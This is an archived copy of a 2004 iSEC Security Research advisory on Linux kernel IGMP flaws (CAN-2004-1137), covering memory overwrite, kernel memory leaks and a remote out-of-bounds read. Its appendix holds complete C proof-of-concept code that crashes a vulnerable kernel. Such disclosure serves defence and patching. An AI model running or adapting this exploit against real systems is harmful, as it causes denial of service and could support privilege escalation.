<<< Date Index >>>     <<< Thread Index >>>

Linux kernel IGMP vulnerabilities



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Synopsis:  Linux kernel IGMP vulnerabilities
Product:   Linux kernel
Version:   2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0018-igmp.txt
CVE:       CAN-2004-1137
Author:    Paul Starzetz <ihaquer@xxxxxxx>
Date:      Dec 14, 2004


Issue:
======

Multiple locally as well as remotely exploitable bugs have been found in
the Linux IGMP networking module and the corresponding user API.


Details:
========

The IGMP (or internet group management protocol) is today's standard for
delivering  multicast  functionality to internet hosts. The Linux kernel
incorporates a base set of the IGMPv2 and IGMPv3 specifications  and  is
subdivided into two logical parts:

- - the IGMP/IP networking module responsible for network level operation,
that is only compiled into the kernel if configured for multicasting,

- - the socket API delivering  multicasting  capabilities  to  user  level
applications, which is always available on Linux.

Both parts of the IGMP subsystem have exploitable flaws:

(1) the ip_mc_source() function, that can be called through the user API
(the  IP_(UN)BLOCK_SOURCE,  IP_ADD/DROP_SOURCE_MEMBERSHIP  as  well   as
MCAST_(UN)BLOCK_SOURCE  and  MCAST_JOIN/LEAVE_SOURCE_GROUP socket SOL_IP
level options) suffers from a serious  kernel  hang  and  kernel  memory
overwrite problem.

It   is   possible   to   decrement   the   'sl_count'  counter  of  the
'ip_sf_socklist' structure to  be  0xffffffff  (that  is  -1  as  signed
integer,  see  attached  PoC code) with the consequence, that a repeated
call to above function will start a  kernel  loop  counting  from  0  to
UINT_MAX.  This  will  cause a kernel hang for minutes (depending on the
machine speed).

Right after that the whole  kernel  memory  following  the  kmalloc'ated
buffer  will  be  shifted by 4 bytes causing an immediate machine reboot
under normal operating conditions. If properly exploited this will  lead
to elevated privileges.

(2)  Because  of  the  bug  (1)  it is possible to read huge portions of
kernel memory following a kernel buffer through the  ip_mc_msfget()  and
ip_mc_gsfget() (user API) functions.

(3) The igmp_marksources() function from the network module is called in
the context of an IGMP group query received from the network and suffers
from  an  out  of bound read access to kernel memory. It happens because
the received IGMP message's parameters are not validated properly.  This
flaw is remotely exploitable on Linux machines with multicasting support
if and only if an application has bound a multicast socket.


Discussion:
=============

(1) It is quite obvious that moving around all kernel memory following a
kmalloc'ated  buffer  is a bad idea. However if done very carefully this
may give a local attacker elevated privileges.

We strongly believe that this flaw is very  easily  exploitable  on  SMP
machines (where one thread can interrupt the copy loop before the kernel
gets completely destroyed).

On uniprocessor configurations the exploitability is questionable  since
there  is  no other exit condition from the copy loop than a kernel oops
if we hit a non existing page. If  an  attacker  manages  to  trick  the
kernel  to  allocate  the  buffer  just right before the end of kernel's
physical memory mapping and also manages to place for example a LDT just
after  that buffer, he may gain elevated privileges also on uniprocessor
machines.

(2) No special handling is required to exploit this flaw in  conjunction
with  bug described in (1). This issue is slightly related to the loff_t
race discovered by iSEC in August 2004. Please refer to

http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt

for further information about consequences of reading privileged  kernel
memory.

(3) The last bug described here refers to a remote kernel vulnerability.
There are several conditions that must be meet for remote  exploitation.

First,  the kernel must have been compiled with multicasting support and
process incoming IGMP packets. Moreover, an attacker  must  be  able  to
send   group   queries   (IGMP_HOST_MEMBERSHIP_QUERY  messages)  to  the
vulnerable machine.

Second requirement is an application on the vulnerable  machine  with  a
bound  multicast  socket with attached source filter. There are numerous
applications using  multicasting  like  video  conferencing  or  routing
software,  just  to name few. The attacker must also know the IGMP group
used to perform the attack.

You can check if your configuration is vulnerable by  looking  at  these
files:

/proc/net/igmp
/proc/net/mcfilter

if both exist and are non-empty you are vulnerable!

Since  the  kernel  does not validate the ih3->nsrcs IGMP parameter, the
igmp_marksources() internal kernel function  may  access  kernel  memory
outside  of  the  allocated  socket  buffer  holding  the  IGMP message.
Depending on the relative position of the socket buffer  in  the  kernel
memory this may lead to an immediate kernel crash.

Another  consequence  is that the kernel will spend most of the CPU time
on scanning useless kernel data right after  the  buffer  if  the  nsrcs
parameter is very high. If a continuous flow of prepared IGMP packets is
sent to a vulnerable machine, it  may  stop  to  process  other  network
traffic.  For  an  average  machine  only a moderate IGMP packet flow is
required. This may lead to serious problems in case of routing software.


Impact:
=======

Unprivileged  local  users  may  gain elevated (root) privileges. Remote
users may hang or even crash a vulnerable Linux machine.


Credits:
========

Paul Starzetz <ihaquer@xxxxxxx> has  identified  the  vulnerability  and
performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This  document and all the information it contains are provided "as is",
for educational purposes only, without warranty  of  any  kind,  whether
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of  the  information   provided  in
this  document.  Liability  claims regarding damage caused by the use of
any information provided, including any kind  of  information  which  is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 * Linux igmp.c local DoS
 * Warning: this code will crash your machine!
 *
 * gcc -O2 mreqfck.c -o mreqfck
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>


#define MCAST_INCLUDE                   1
#define IP_MSFILTER                     41

#define IP_UNBLOCK_SOURCE               37
#define IP_BLOCK_SOURCE                 38


struct ip_msfilter
{
    __u32 imsf_multiaddr;
    __u32 imsf_interface;
    __u32 imsf_fmode;
    __u32 imsf_numsrc;
    __u32 imsf_slist[1];
};

struct ip_mreq_source
{
    __u32 imr_multiaddr;
    __u32 imr_interface;
    __u32 imr_sourceaddr;
};


void
fatal (const char *message)
{
    printf ("\n");
    if (!errno)
      {
          fprintf (stdout, "FATAL: %s\n", message);
      }
    else
      {
          fprintf (stdout, "FATAL: %s (%s) ", message,
                   (char *) (strerror (errno)));
      }
    printf ("\n");
    fflush (stdout);
    exit (1);
}


int
main ()
{
    int s, r, l;
    struct ip_mreqn mr;
    struct ip_msfilter msf;
    struct ip_mreq_source ms;
    in_addr_t a1, a2;

    s = socket (AF_INET, SOCK_DGRAM, 0);
    if (s < 0)
        fatal ("socket");

//      first join mcast group
    memset (&mr, 0, sizeof (mr));
    mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
    l = sizeof (mr);
    r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
    if (r < 0)
        fatal ("setsockopt");

//      add source filter count=1
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt2");

//      del source filter count = 0
//      imr_multiaddr & imr_interface must correspond to ADD
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt2");

//      del again, count = -1
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt3");

//      crash
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt4");

    getchar ();

    return 0;
}

- -- 
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBvsD+C+8U3Z5wpu4RAqhaAKDTGHk3y41KNhQV+RFawIIHlZ23+ACg7uXs
qsrWw5lR18rlD2BatbUPLAc=
=s5/E
-----END PGP SIGNATURE-----